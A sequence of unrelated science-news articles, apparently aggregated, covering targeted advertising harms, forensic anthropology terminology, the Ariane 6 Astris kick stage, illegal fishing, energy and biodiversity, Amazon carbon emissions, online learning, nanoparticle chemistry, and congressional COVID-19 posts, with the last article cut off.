Five years since the Brexit vote and three since the Cambridge Analytica scandal, we're now familiar with the role that targeted political advertising can play in fomenting polarization. It was revealed in 2018 that Cambridge Analytica had used data harvested from 87 million Facebook profiles, without users' consent, to help Donald Trump's 2016 election campaign target key voters with online adverts.

In the years since, we've learned how these kinds of targeted adverts can create political filter bubbles and echo chambers, suspected of dividing people and increasing the circulation of harmful disinformation.

But the vast majority of the ads exchanged online are commercial, not political. Commercial targeted advertising is the primary source of revenue in the internet economy, but we know little about how it affects us. We know our personal data is collected to support targeted advertising in a way that violates our privacy. But aside from privacy considerations, how else might targeting be harming usand how could these harms be prevented?

These questions motivated our recent research. We found that online targeted advertising also divides and isolates us by preventing us from collectively flagging ads we object to. We do this in the physical world (perhaps when we see an advert at a bus stop or train station) by alerting regulators to harmful content. But online consumers are isolated because the information they see is limited to what is targeted at them.

Until we address this flaw, preventing targeted adverts from isolating us from the feedback of others, regulators won't be able to protect us from online adverts that could cause us harm.

Due to the sheer volume of ads exchanged online, human supervisors cannot vet each campaign. So increasingly, machine learning algorithms screen the content of ads, predicting the likelihood that they may be harmful or fail to conform to standards. But these predictions can be biased, and they typically only ban the clearest violations. Among the many ads that pass these controls, a significant portion still contain potentially harmful content.

Traditionally, advertising standards authorities have taken a reactive approach to regulating advertising, relying upon consumer complaints. Take the 2015 case of Protein World's "Beach Body" campaign, which was displayed across the London Underground on billboards featuring a bikini-clad model next to the words: "Are you beach body ready?" Many commuters complained, saying that it promoted harmful stereotypes. Shortly after, the ad was banned and a public probe into socially responsible advertising was launched.

Regulating adverts

The Protein World case illustrates how regulators work. Because they respond to consumer complaints, the regulator is open to considering how adverts conflict with perceived social norms. As social norms evolve over time, this helps regulators keep up with what the public considers to be harmful.

Consumers complained about the ad because they felt it promoted and normalized a harmful message. But it was reported that only 378 commuters raised complaints with the regulator, of the hundreds of thousands likely to have seen them. This raises the question: what about all the others? If the campaign had taken place online, people wouldn't have seen posters defaced by disgruntled commuters and they may not have been prompted to question its message.

Protein World's controversial Are You Beach Body Ready? ad cannot appear in its current form http://t.co/CVdVCqLDJQ pic.twitter.com/TCfPKTKqyU  British Vogue (@BritishVogue) April 30, 2015

What's more, if the ad could have been targeted to just the subset of consumers most receptive to its message, they might not have raised any complaints. As a result, the harmful message would have gone unchallenged, missing an opportunity for the regulator to update their guidelines in keeping with current social norms.

Sometimes ads are harmful in a specific context, as when ads for high-fat-content foods are targeted to children, or when gambling ads target those who suffer from a gambling addiction. Targeted ads can also harm by omission. This is the case, for example, if ads for shoes crowd out job ads or public health announcements that someone might find more useful or even vital.

These cases can be described as contextual harms: they're not tied to specific content, but rather depend on the context in which the ad is presented to the consumer.

Machine learning algorithms are bad at identifying contextual harms. On the contrary, the way targeting works actually amplifies them. Several audits, for example, have uncovered how Facebook has allowed discriminatory targeting that worsens socioeconomic inequalities.

Digging deeper

The root cause of all these issues can be traced to the fact that consumers have a very isolated experience online. We call this a state of "epistemic fragmentation", where the information available to each individual is limited to what is targeted at them, without the opportunity to compare with others in a shared space like the London Underground.

Because of personalized targeting, each of us sees different ads. This makes us more vulnerable. Ads can play on our personal vulnerabilities, or they can withhold opportunities from us that we never knew existed. Because we don't know what other users are seeing, our ability to look out for other vulnerable people is also limited.

Currently, regulators are adopting a combination of two strategies to address these challenges. First, we see an increasing focus on educating consumers to give them "control" over how they're targeted. Second, there's a push towards monitoring ad campaigns proactively, automating screening mechanisms before ads are published online. Both of these strategies are too limited.

Instead, we should focus on restoring the role of consumers as active participants in the regulation of online advertising. This could be achieved by blunting the precision of targeting categories, by instituting targeting quotas, or by banning targeting altogether. This would ensure that at least a portion of online ads are seen by more diverse consumers, in a shared context where objections to them can be raised and shared.

In the wake of the Cambridge Analytica scandal, efforts were made by The Electoral Commission to prise open the hidden world of targeted political ads in the run up to the UK's 2019 election. Some broadcasters asked their audience to send in targeted ads on their social media feeds, in order to share them with a wider audience. Campaign groups and academics were able to analyze targeting campaigns in greater detail, exposing where ads could be harmful or untrue.

These strategies could also be used for commercial targeted advertising, which would break the epistemic fragmentation that currently prevents us from collectively responding to harmful adverts. Our research shows it's not just political targeting that produces harmscommercial targeting requires our attention too.

Explore further EU gives TikTok a month to respond to consumer complaints

This article is republished from The Conversation under a Creative Commons license. Read the original article.
Skulls in the lab of Ann Ross at NC State University. Ross is a biological anthropologist and forensic science researcher. Credit: Marc Hall, NC State University

A new study finds forensics researchers use terms related to ancestry and race in inconsistent ways, and calls for the discipline to adopt a new approach to better account for both the fluidity of populations and how historical events have shaped our skeletal characteristics.

"Forensic anthropology is a science, and we need to use terms consistently," says Ann Ross, corresponding author of the study and a professor of biological sciences at North Carolina State University. "Our study both highlights our discipline's challenges in discussing issues of ancestral origin consistently, and suggests that focusing on population affinity would be a way forward."

Race is a social constructthere's no scientific basis for it. Population affinity, in the context of forensic anthropology, is determined by the skeletal characteristics associated with groups of people. Those characteristics are shaped by historic events and forces such as gene flow, migration, and so on. What's more, these population groups can be very fluid.

In practical terms, that this means that race can be wildly misleading in a forensic context. For example, a missing person may have been listed as Black on their driver's license because of their skin color. But their skeletal remains may not indicate they were of African descent, because their bone structure may reflect other aspects of their ancestry.

"Like many disciplines, forensic anthropology has been coming to terms with issues regarding race," Ross says. "Some people in the discipline want to do away completely with assessing an individual's place of origin. Others say that conventional approaches still have value in helping to identify human remains.

"In this paper, we are recommending a third path. This study is focused on finding ways to evaluate human variation that give us valuable information in forensic and anthropological contexts, but that avoid clinging to the use of outdated defaults such as race."

In one part of the study, the researchers looked at all of the papers published in the Journal of Forensic Sciences between 2009 and 2019 that referenced ancestry, race or related terms. The goal of this content analysis was to determine if the terms were being used consistently within the field. And they were not.

"The Journal of Forensic Sciences is the flagship journal for forensic sciences in the U.S., and even there we found inconsistencies in how our field uses these terms," Ross says. "Inconsistent terminology opens the door to confusion, misunderstanding and misuse within the discipline."

In a second part of the study, the researchers used geometric morphometric data and spatial analysis methods to evaluate the validity of terms such as 'European' or 'African' to describe the ancestral origin of human remains.

Altogether, the researchers evaluated nine datasets, comprising data on 397 people. The datasets were of human remains collected in Chile, Colombia, Cuba, Guatemala, Panama, Puerto Rico, Peru, Spain and a population of enslaved Africans that had been buried in Cuba. All of the remains, except for those of the enslaved Africans, were from the 20th or 21st centuries.

"Regarding the data we have on the remains of enslaved Africans, we want to acknowledge the value that data collected from such samples can contribute to discussions of human variation, while also noting that the history and ethics of human skeletal collections, in general, is often dubious," Ross says. "Such body harvesting all too often occurred under the umbrella of scientific racism, without the permission of the deceased or next of kin, and disproportionately targeted marginalized populations."

In their review of recent papers, the researchers found that forensics experts often still referred to remains as being of African, Asian or European origin.

"But our analysis of these nine datasets shows that this approach is wrong, because it's not that simple," Ross says.

"Let's use Panama as an example," says Ross, who is from Panama. "There have been huge movements of people into this area from all over the world over the past 500 years: indigenous peoples who predate colonialism, colonizers from Europe, slaves from Africa, immigrants from Asia. The contemporary remains we see in Panama reflect all of those influences."

Ross also noted that the analysis of the nine datasets also highlighted a flaw in the contemporary idea of 'clines'. The idea of clines is basically that, while there are changes from one group of people to another, populations who are geographically close to each other are more similar than populations that are geographically distant. However, the researchers found that this assumption can be misleading.

For example, Panama and Colombia share a border, but very different historical forces have acted on Panama and Colombia in recent centuriesso the skeletal characteristics of remains from those two countries are much less similar than one would anticipate.

"All of this is important for multiple reasons, such as taking meaningful steps to reduce racism in our field, and ensuring that we are communicating clearly with each other within the discipline," Ross says. "It is also important because marginalized people are most often the people whose remains go unidentified. Labeling them as 'Hispanic' or 'Black' is misleading. We, as forensic anthropologists, need to change the way we think about origin. We need to begin thinking about physical markers in the context of population affinity and how we can use that to both communicate clearly and to help understand who we are seeing when we work with unidentified remains. We need to ensure that we are not contributingeven inadvertentlyto structural inequities and racism.

"This also means that we are faced with a wide range of new research questions. As a field, much of our work has focused on looking at data from the remains of historic populations. I think we need to begin doing more work that can help us better understand the ways in which historical events have helped to shape the skeletal characteristics of modern populations."

Explore further Bone experts offer how-to video for forensic professionals

More information: Ann H. Ross et al, Ancestry Studies in Forensic Anthropology: Back on the Frontier of Racism, Biology (2021). Ann H. Ross et al, Ancestry Studies in Forensic Anthropology: Back on the Frontier of Racism,(2021). DOI: 10.3390/biology10070602
Astris kick stage for Ariane 6. Credit: ArianeGroup

ESA will enhance the versatility of Europe's Ariane 6 rocket with a kick stage called Astris in a 90 m development contract with prime contractor, ArianeGroup. This is part of ESA's strategy to extend Ariane 6's capabilities to serve a wider range of space transportation requirements.

Astris is planned to fly by mid 2024 as an optional add-on to Ariane 6's upper stage and will interface directly with the payload. This will enable Ariane 6 to offer a range of new space transportation services by allowing complex orbital transfers.

Astris will simplify missions by taking over some of the required built-in propulsion capabilities of payloads to move themselves to their final position in orbit. This will reduce the burden on satellite manufacturers to factor this into their design.

The modular architecture of Astris makes it versatile, giving potential for even more capabilities. Structures will include a flight proven family of propellant tanks. This approach makes it possible to develop mission specific kits that offer a tailored solution to each customer.

Future space missions, especially for telecommunications applications and space exploration, could use Astris to reduce mission cost and risk. ESA's Hera spacecraft, a planetary defense mission to the Didymos asteroid system, is set to be the first to benefit.

The Astris engine can be restarted several times. Credit: ArianeGroup

"ESA's Astris kick stage is a major development to ensure that Ariane 6 can serve the widest possible range of present and future space transportation requirements. It is an important element to enable flexible in-space transportation services, such as space logistics, in-orbit servicing and specific exploration missions," commented Daniel Neuenschwander, ESA Director of Space Transportation.

"From the beginning of the Ariane 6 program, the launcher was designed to be scalable and incorporate innovations throughout its operating cycle. This contract rewards the expertise and innovation capacity of our Bremen site in the field of launcher upper stages, while our teams near Munich are currently developing the new Berta engine. By pooling our skills, this project further strengthens Germany's role in the new European launcher, Ariane 6," added Pierre Godart, CEO at ArianeGroup in Germany.

Through Astris, Ariane 6 could enable deep space exploration for ridesharing payloads with destinations such as asteroids, the Moon and Mars. The Astris concept will make objects in the Solar System more accessible to a wider range of payloads.

Closer to Earth, Astris will augment Ariane 6's ability to deploy multiple payloads into separate low Earth orbits on a single launch.

Astris can take a payload to its final geostationary orbit. Credit: ArianeGroup

Alternatively, Ariane 6 could place one payload in a transfer orbit then Astris would separate from the upper stage to take a second payload directly into its final position in geostationary orbit.

The Berta engine, a mid-size storable propellant propulsion system for Astris is in development and qualification at ArianeGroup in Ottobrunn, Germany, carried out within ESA's Future Launchers Preparatory Program (FLPP). This type of engine can be reliably reignited several times, making it particularly suitable for extended missions or for transport to different orbits.

Activities for the Astris kick stage are carried out within ESA's Ariane 6 Competitiveness Improvement Program. It anticipates future space transportation needs and works with industry to create solutions to ensure Europe remains competitive in the global market.

Explore further Ariane 6 upper stage heads for hot-firing tests
Pursuit and apprehension of a Vietnamese 'blue boat' by Australian Border Force and Australian Fisheries Management Authority (AFMA) on Lihou Reef, Queensland, Australia, 9 February 2017. These wooden hulled vessels are blue in color, measuring 16-23m in length, with gross tonnage of 23-89 tons, utilize 90+ horsepower engines, and commercially available GPS plotters. Credit: Australian Fisheries Management Authority.

A new study reveals the strategies that stop bandits from illegally fishing in Australian watersbut warns there is a cost to the region's poorer countries.

Co-author Dr. Brock Bergseth, from the ARC Centre of Excellence for Coral Reef Studies at James Cook University, said poachers are simply following the recurring history of human fishing: intensively fish and devastate local resources, then move further afield toin these casesfish illegally or poach in other countries' waters.

"Millions of people rely on fish and seafood and when offered no alternative choice, will chose banditry and illegal fishing to get by," Dr. Bergseth said.

"But without a regional strategy and investments for rebuilding and managing countries' fisheries, this just becomes one big game of whack-a-mole: you deal with the problem in one area, only for it to pop up in another," he said.

The study shows how Vietnamese poaching boats, or 'blue boats', encroached into Australian waters between 2013 and 2017.

Under a jointly signed Memorandum of Understanding (MOU) in 2017, the Australian Fisheries Management Authority and the Vietnamese Ministry for Agriculture and Rural Development designed and delivered a series of workshop interventions to deter illegal fishing by Vietnamese fishers in Australia between 2017 and 2018.

Both before and after the workshops, 82 fishers were surveyed to understand why they were coming to Australia and also whether the workshop's explanations of the penalties were effective in shifting perceptions related to reducing illegal fishing.

"The main reason these fishers engaged in banditry was their displacement from their traditional fishing grounds in the South China Sea," Dr. Bergseth said. "This is just one of the implications of an expanding Chinese territory, and it affects countries as far away as Australia."

Lead author Dr. Chris Wilcox, from Australia's national science agency CSIRO, said since the workshops, there hasn't been a single sighting of a Vietnamese fishing boat illegally fishing in Australian or Pacific waters.

But, he cautions, while an understanding of the penalties might deter fishers from poaching in Australian waters, they also lose their access to economically viable fish resources.

Captains and their crews opt to fish in other locations, legal or not, even in the face of penalties for doing so.

"Australia can build a wall of steel with patrol boats and surveillance airplanes to protect our watersbut without improvements in fish stocks in their legal fishing grounds, Vietnamese vessels will be under pressure to leave in pursuit of revenue. This is creating ongoing issues for our regional neighbors," Dr. Wilcox said.

Reports continue to surface of Vietnamese fishers captured in other regional countries including Thailand, Malaysia, Indonesia, the Philippines and Vanuatu.

Dr. Wilcox said regional action on the root causes of the problem can solve the issue for everyone. And though this is a long-term project, it also has the best potential for the highest long-term return on investment in terms of reducing illegal fishing.

"Incursions will continue as long as the number of fishing vessels across the region exceeds what the resources can support," Dr. Wilcox said. "While it is essential to keep the enforcement pressure on, this is where coordination across the region could have a positive effect."

However, he also said tension amongst South East Asian countries over sea borders and other issues still precludes effective coordinated action on illegal fishing.

"Addressing the state of resources in the waters of countries across the region and their ability to collaborate to address vessels illegally crossing borders to fish are the two key ingredients for solving this problem," Dr. Wilcox said.

Dr. Bergseth said otherwise, things will only get worse as ocean resources dwindle.

"The decisions we make in the next 5-10 years could well chart the state of our oceans for the next 100," he said.

More information: Chris Wilcox et al, Effectiveness of interventions to shift drivers of roving banditry and reduce illegal fishing by Vietnamese blue boats, Conservation Letters (2021). Journal information: Conservation Letters Chris Wilcox et al, Effectiveness of interventions to shift drivers of roving banditry and reduce illegal fishing by Vietnamese blue boats,(2021). DOI: 10.1111/conl.12823

Provided by ARC Centre of Excellence for Coral Reef Studies
Ryan McManamay, Ph.D., led a study on the potential tradeoffs between climate benefits and energy costs related to biodiversity. Credit: Robert Rogers, Baylor University

Climate change mitigation efforts have led to shifts from fossil-fuel dependence to large-scale renewable energy. However, renewable energy sources require significant land and could come at a cost to ecosystems. A new study led by Ryan McManamay, Ph.D., assistant professor of environmental science at Baylor University, evaluates potential conflicts between alternative energy strategies and biodiversity conservation.

The study, published in Biological Conservation, evaluates potential tradeoffs between climate benefits and energy costs, especially any negative impacts on biodiversity. While the environmental consequences of some renewable energy sources, like hydropower, have been widely studied, the large-scale impacts of other renewables, like solar, aren't well known.

"The study points to a need for the global community to understand the opposing endpoints of sustainability, which are scale-dependent," McManamay said. "At one endpoint, efforts to mitigate climate change at global scales via large-scale energy transitions may be completely incognizant of the consequences on local biodiversity. Likewise, local conservationists may not appreciate the magnitude of energy transitions required to shift global carbon emissions. Finally, I think there is a broad misconception among much of the community that if renewable energies are good for climate, they must also be good for the local ecosystem. Energies like solar have the potential to be deployed haphazardly with that mindset."

The challenges of climate mitigation in relation to different climate policy scenarios are projected in five Shared Socio-economic Pathways (SSPs)qualitative descriptions of plausible alternative socio-economic development in the next century. The SSPs include alternative projections in deployment of electricity generations by technology. Considering scenarios under the SSPs, ecological footprinting was used to evaluate the potential land and biodiversity tradeoffs of 10 different energy sources: solar photovoltaic, concentrated solar power, wind, hydropower, coal, conventional oil, conventional gas, unconventional oil, unconventional gas, and biomass.

"Ecological footprinting took into account land-use efficiencies of each technology as well as estimates of the degree of habitat alteration arising from technology deployment," McManamay said. "This provides a standardized way to compare the biodiversity consequences of large-scale deployment of alternative energy technologies."

Researchers estimated a biodiversity footprint for each of the 10 energy sources by overlaying energy densities and habitat alteration probabilities with biodiversity patterns. They then used spatial modeling to examine regional variations in future energy deployment and potential biodiversity impacts at a high-resolution. Different biodiversity footprints were scored based on their impact and a cumulative biodiversity score was determined for each of the 10 energy sources.

The cumulative impact scores among the SSPs showed significant and consistent differencesthe fossil-fueled development pathway (SSP 5) had the highest impacts while the regional rivalry scenario (SSP3) had the lowest. The sustainability-focused scenario (SSP1) represented a moderate impact score by comparison. Unexpectedly, the variation among SSPs didn't show a clear tradeoff between global climate mitigation and cumulative biodiversity impact.

"It was surprising to see the lack of a clear tradeoffs among sustainability endpoints," McManamay said. "This elicited us to take a deeper look into differences among the SSPs. Although SSP5 is termed 'fossil-fueled' development, the pathway includes significant technological advances in both advanced fossil and renewable technologies to meet highly consumptive, energy-luxurious lifestyles. In other words, the biodiversity impacts are more related to total energy deployment than fossil versus renewable technologies. Although SSP1 is also characterized by significant renewable energy deployment, overall energy demand decreases due to increases in energy efficiencies. So, our work suggests that climate mitigation may not necessarily have to be at odds with biodiversity conservation."

Additionally, land constraints accounted for the most variation in biodiversity impact, particularly with regard to protected land use. Downscaled electricity generation scenarios were constrained by alternative land conservation and energy development policies.

The results offer an approximation of land and biodiversity impacts of future energy strategies outlined in the SSPs. While there were differences in the SSPs, the impact scores suggest that land protection measures and energy diversification could have greater implications for biodiversity challenges than the national-level global energy pathways outlined in the SSPs. Future planning and objectives for climate mitigation will require both broad and local consideration of biodiversity challenges.

Explore further There might be ways to exploit renewable energy and also allow for protecting biodiversity

More information: Ryan A. McManamay et al, Global Biodiversity Implications of Alternative Electrification Strategies Under the Shared Socioeconomic Pathways, Biological Conservation (2021). Journal information: Biological Conservation Ryan A. McManamay et al, Global Biodiversity Implications of Alternative Electrification Strategies Under the Shared Socioeconomic Pathways,(2021). DOI: 10.1016/j.biocon.2021.109234
Cross River gorilla. Credit: WCS Nigeria

The Wildlife Conservation Society's Nigeria Program released a series of camera trap images from Nigeria's Afi Mountain Wildlife Sanctuary revealing an array of primates and other wildlife that live in this 100 square kilometer (38.6 square mile) protected area that is smaller than the city of Paris.

The images show Cross River gorillas (Gorilla gorilla diehli)  the rarest gorilla subspecies on the planet whose total population numbers perhaps 300 individualsalong with Nigeria-Cameroon chimpanzees (Pan troglodytes ellioti), drills (Mandrillus leucophaeus), and Red River hogs (Potamochoerus porcus).

Afi Mountain Wildlife Sanctuary was established by Cross River State Government in 2000 to protect Cross River gorillas and other endangered wildlife. It is currently protected by 13 community rangersone from each of the 13 communities that surround the sanctuary employed by the WCS Nigeria Program. The rangers patrol the sanctuary to discourage hunting, and last year alone removed 2,405 wire snares.

Although these snares are set for small game such as porcupines, hyrax and cane-rats they can also trap infant gorillas and so represent a serious threat to the species recovery.

Chimpanzees. Credit: WCS Nigeria

Logging and illegal farms are also a major problem at Afi, particularly in the surrounding lowlands. In addition to ranger patrols WCS is also working with cocoa farmers around the sanctuary to improve the sustainability of current farming practices and reduce rates of forest loss by making existing cocoa farms more productive. WCS's conservation education outreach program is based around support for school conservation clubs and a weekly radio drama, and aims to gradually change behaviors and attitudes towards wildlife.

Said Dr. Inaoyom Imong Director of WCS Nigeria's Cross River Landscape: "While Afi Mountain Wildlife Sanctuary still faces challenges, these camera trap images give us hope and are a testimony that our conservation efforts are working."

Drills. Credit: WCS Nigeria

Red river hogs. Credit: WCS Nigeria

Explore further Cross River gorillas to benefit from new protected area in Cameroon
The Amazon basin contains about half of the world's tropical rainforests, which are more effective at soaking up and storing carbon that other types of vegetation.

Climate change and deforestation have flipped a large swathe of the Amazon basin from absorbing to emitting planet-warming CO 2 , a transformation that could turn humanity's greatest natural ally in the fight against global warming into a foe, researchers reported on Wednesday.

Hundreds of high-altitude air samples collected over the last decade showed that southeastern Amazon, in particular, has shifted from a "sink" to a source of carbon dioxide, the main greenhouse gas, they reported in the journal Nature.

Terrestrial ecosystems worldwide are crucial as the world struggles to curb CO 2 emissions, which topped 40 billion tonnes in 2019.

Over the last half century, plants and soil have consistently absorbed more than a quarter of those emissions, even as CO 2 pollution increased by 50 percent.

The Amazon basin contains about half of the world's tropical rainforests, which are more effective at soaking up and storing carbon than other vegetation.

If Amazoniawith 450 billion tonnes of CO 2 locked in its trees and soilwere to become a consistent source rather than a "sink" of CO 2 , tackling the climate crisis would be vastly more challenging.

Several factors have driven the transition in the eastern Amazon, according to the study.

"Deforestation and forest degradation both reduce Amazonia's capacity to act as a carbon sink," the authors noted.

Since 1970, the region's tropical forests have declined by 17 percent, mostly to accommodate pasture for raising cattle and the crops that feed them.

Forests are generally cleared with fire, which both releases vast amounts of CO 2 and reduces the number of trees available to absorb it.

Climate change itself is also a key factor.

Dry-season temperatures have risen by nearly three degrees Celsius compared to pre-industrial levels, triple the global year-round average.

Tipping points

Taken together, these drivers "cast doubt on the ability of tropical forests to sequester large amounts of fossil-fuel-derived CO 2 in the future," Scott Denning, an atmospheric scientist at Colorado State University, noted in a commentary, also in Nature.

To what extent the Amazon basin was losing its ability to soak up CO 2 has long been a burning question, but satellite datapartly due to persistent cloud coverhas not been able to provide a complete answer.

To get around that problem, researchers led by Luciana Gatti of the National Institute for Space Research in Sao Jose dos Campos in Brazil used aircraft to collect nearly 600 CO 2 and carbon monoxide samples, from 2010 to 2018, at elevations up to 4.5 kilometres (2.8 miles) above the forest floor.

Northwestern Amazon, they found, was in carbon balance, absorbing as much CO 2 into the atmosphere as it gave off.

But the eastern Amazonespecially during the dry seasonemitted far more than it absorbed.

Another recent study, using different methodology, found that the Brazilian Amazon released nearly 20 percent more CO 2 over the last decade than it absorbed from 2010 to 2019.

Above a certain threshold of global warming, global warming could see the continent's rainforest tip into a much drier savannah state, recent research has shown.

This would have devastating consequences both to the region, which currently harbours a significant percentage of the world's biodiversity, and globally.

The Amazon rainforest is one of a dozen so-called "tipping points" in the climate system.

Ice sheets atop Greenland and the West Antarctic, Siberian permafrost loaded with CO 2 and methane, monsoon rains in South Asia, coral reef ecosystems, the jet streamall are vulnerable to point-of-no-return transitions that would radically alter the world as we know it.

Explore further Climate change: Amazon may be turning from friend to foe

More information: Luciana V. Gatti et al, Amazonia as a carbon source linked to deforestation and climate change, Nature (2021). Journal information: Nature Luciana V. Gatti et al, Amazonia as a carbon source linked to deforestation and climate change,(2021). DOI: 10.1038/s41586-021-03629-6

 2021 AFP
Credit: Shutterstock

Social distancing and lockdowns have disrupted university study for the past 18 months. Students are understandably stressed as shown by a dramatic drop in student satisfaction across Australia reported in the annual Student Experience Survey. Federal Education Minister Alan Tudge has drawn attention to this in calling for a "return" to on-campus study.

But the world is increasingly digital. Old notions of lecture halls will not help graduates to thrive in their careers. We need university study that supports students to succeed by preparing them for a digital future.

Many studies have reported that work will become more blended, with less time spent in the office as working from home increases. The COVID-19 pandemic dramatically accelerated this trend.

Diverse industries have found they can move online effectively, making it an authentic workplace. Telehealth has become the default option for consulting your GP, while the first place to find a service or product is an online search engine. Professionals need to translate their skills into any environmentphysical or virtualand have confidence to use new spaces and formats.

What about the impacts on learning?

Learning is created through interactionswith teachers, peers and information. Decades of research show learners learn best when learning is active, engaging, relevantand intentionally designed. Those principles are true wherever the learning happens: on campus, online or in the workplace.

The real question is how to balance the best of online with the best of on-campus and workplace delivery.

Universities are already pursuing this path. University study has been blended for more than two decades as study resources, activities and assessments were moved to subject and course websites in virtual learning environments.

At first, the aim was to organize learning for access anywhere and anytime. Today, digital learning environments have become far more sophisticated. They now also offer tools for group learning, projects and creativity.

'Emergency remote teaching' is not the ideal

Online learning during the pandemic was often a compromise. Good learning design takes time as teachers create curriculum, resources and assessment to suit their learners and the discipline. In March 2020, like most Australian universities, academics at my institution, Deakin University, had one week to rebuild our courses to allow our 41,000 on-campus students to keep studying. Of course, many of the activities we had planned became impossible and online substitutes were quickly developed over following weeks.

This global rapid shift was dubbed "emergency remote teaching" by US professor Charles Hodges and colleagues. They warned we should be careful not to judge online learning by this experience.

Good online learning creates a sense of community. It engages students with rich resources and activities. It helps learners to find study buddies and places for their independent work.

However, engagement looks different online. Instead of meeting in a cafe, students chat online to share ideas and solve problems as they do in their daily lives. Social learning can happen on campus or online.

Some activities work best online, others in person

Some activities should always be online. For a start, contemporary information is digital. Although we enjoy their physical spaces, university libraries are now essentially digital with the vast majority of books, journals and images provided and used online. Data sets, too, are largely digital and analyzed with digital tools ranging from spreadsheets to sophisticated software.

Digital learning is great for exploration. The world is at your fingertips, and computers never get tired of practicing foundation skills with you.

Other activities need to be in physical space. Using specialist equipment or experiencing a workplace often means being in a purpose-built space. Being in the field develops observation skills and provides more sensory inputs to consider. Collaborating with peers in the same room develops human interaction skills using different social cues from the ones we have online.

Online work can augment these activities with focused preparation and follow-up.

Build on the best of recent experiments

The emergency remote teaching response has pushed teaching teams to consider alternative ways to learn. They have trialed and refined new online activities. Many teachers report they will keep at least some of these.

Professor Eric Mazur at Harvard is famous for his use of peer instruction to make classes active and social. He reports his online model developed during 2020 has improved learning and support so convincingly that he intends to continue with that format. Breaking assumptions about what works best has opened the door to a better understanding of online teaching.

Students in all education sectors have struggled with emergency remote teaching and its backdrop of disrupted life. They have reported difficulties with online provision, lack of motivation, loneliness and decreased mental well-being.

But universities are refining their courses. When students experience well-designed online learning over time, they build familiarity and confidence. We asked campus-enrolled students at Deakin about their experience of study during the pandemic with regular "pulse-check" surveys. Their feedback shows their confidence in online study and assessment has increased strongly over the past 18 months as they built skills and familiarity.

As we move to more sustainable models for today's learners, universities are rethinking learning activities. Sitting and listening to the sage on the stage is being replaced by active learning using real-world information and scenarios.

We need to invest in intentional learning design that combines the best of online and on-campus delivery. This will show students they can learn, thrive and build the skills they need however they study.

Explore further Adapting laboratory techniques for remote instruction

This article is republished from The Conversation under a Creative Commons license. Read the original article.
Dr. Rong Ye (left), Dr. Ming Zhao (center), and Dr. Peng Cheng (right) at Cornell discuss their Army-funded research that identifies a new chemistry approach that could remove micropollutants from the environment. Credit: Cornell University

Researchers have identified a new chemistry approach that could remove micropollutants from the environment.

Micropollutants are biological or chemical contaminants that make their way into ground and surface waters in trace quantities.

Using a pioneering imaging technique, Cornell University researchers obtained a high-resolution snapshot of how ligands, molecules that bind to other molecules or metals, interact with the surface of nanoparticles. In doing so, they made an unexpected breakthrough discovery. They determined that by varying the concentration of an individual ligand they could control the shape of the particle it attached too.

This approach could result in an array of daily applications, including developing chemical sensors that are sensitive at a very low level to a specific chemical in the environment.

"Professor Peng Chen's work allows for deep insights into molecular adsorption processes, which is important to understand for designing molecular sensors, catalysts, and schemes to clean up micro-pollutants in the environment," said Dr. James Parker, program manager, U.S. Army Combat Capabilities Development Command, known as DEVCOM, Army Research Laboratory. "This research is also important for designing and engineering stimuli-responsive materials with specialized function that could not be found in regular, bulk materials."

The research, published in Nature Communications, studied interactions of ligands and gained new understanding of the strength, or affinity of ligand adsorption as well as how multiple ligands cooperate, or don't, with each other.

"When the molecule adsorbs on the surface of a nanoscale material, it also actually protects the surface and makes it more stable," said Dr. Peng Chen, the Peter J.W. Debye Professor of Chemistry in the College of Arts and Sciences at Cornell University, who led the research. "This can be utilized to control how nanoscale particles grow and become their eventual shape. And we found we can do this with just one ligand. You don't do any other trick. You just decrease the concentration or increase the concentration, and you can change the shape."

Understanding how ligands interact with the surface of nanoparticles has been a challenge to study. Adsorbed ligands are difficult to identify because there are other molecules in the mix, and nanoparticle surfaces are uneven and multifaceted, which means they require incredibly high spatial resolution to be scrutinized.

A nanoparticle's size and surface structures, or facets, are intrinsically tied to the particle's potential applications. The larger the particle, the more atoms fit inside it, while smaller particles have less available space internally but a greater surface volume ratio for atoms to sit atop, where they can be utilized for processes such as catalysis and adsorption. The different types of structures the atoms and molecules form on these surface facets are directly correlated with the particle's shape.

Scientists have used several imaging methods to survey these particles, but until now, they haven't been able to obtain nanometer resolution to really explore the nooks and crannies of the multiple surface facets and quantify the affinity, or strength, of a ligand's adsorption. The research team was able to do just that by employing a method of their own devising called COMPetition Enabled Imaging Technique with Super-Resolution or COMPEITS.

The process works by introducing a molecule that reacts with the particle surface and generates a fluorescent reaction. A nonfluorescent molecule is then sent to bind to the surface, where its reaction competes with the fluorescent signal. The resulting decrease in fluorescence, essentially creating a negative image, can then be measured and mapped with super high resolution.

Using COMPEITS on a gold nanoparticle, the team was able to quantify the strength of ligand adsorption, and they discovered ligand behavior can be very diverse. Ligands, it turns out, are fair-weather friends of a sort, at some sites they cooperate to help each other adsorb, but at other sites they can impair each other's efforts. The researchers also discovered that sometimes this positive and negative cooperativity exists at the same site.

In addition, the researchers learned that the surface density of adsorbed ligands can determine which facet is dominant. This crossover inspired the team to vary the concentrations of individual ligands as a way to tune the shape of the particle itself.

"For us, this has opened more possibilities," Chen said. "For example, one way to remove micropollutants, such as pesticides, from the environment is to adsorb micro-portions on the surface of some adsorbent particle. After it is adsorbed on the surface of the particle, if the particle is a catalyst, it can catalyze the destruction of the micropollutants."

Explore further Nanoparticles: The complex rhythm of chemistry

More information: Rong Ye et al, Nanoscale cooperative adsorption for materials control, Nature Communications (2021). Journal information: Nature Communications Rong Ye et al, Nanoscale cooperative adsorption for materials control,(2021). DOI: 10.1038/s41467-021-24590-y
When communicating about COVID-19, most messages by members of Congress have a positive or negative tone. Credit: Laura Moses / OpenMoji

Facebook posts by members of the U.S. Congress reveal the depth of the partisan divide over the COVID-19 pandemic, new research shows.

A study of all 12,031 Facebook posts concerning the pandemic by members of Congress between March and October 2020 showed that Democrats generally took a more negative or neutral tone on the issue, while Republicans were more likely to have a positive tone in their posts.

Public crises, like the pandemic, highlight how central social media is to messaging and how important it is to understand how rhetoric impacts engagement and sharing of messages said Laura Moses, co-author of the study and a doctoral student in political science at The Ohio State University.

"When members of Congress communicate with the public about the pandemic, there is not a 'rally around the flag' effect, suggesting a shift toward partisan politics," Moses said.

The study also found that Democrats posted more on COVID-19 than did Republicans, negative posts were shared more often than positive ones, and Republicans' posts attracted more engagement, such as "likes" and comments, than did Democrats' messages.

Moses conducted the study with Janet Box-Steffensmeier, professor of political science at Ohio State. Their results were published today (July 14, 2021) in the journal Science Advances.

These findings reflect the overall fractured nature of politics in the country today, Box-Steffensmeier said.

"We find partisan tone differences in messaging, even at the outset of the crisis" she said.

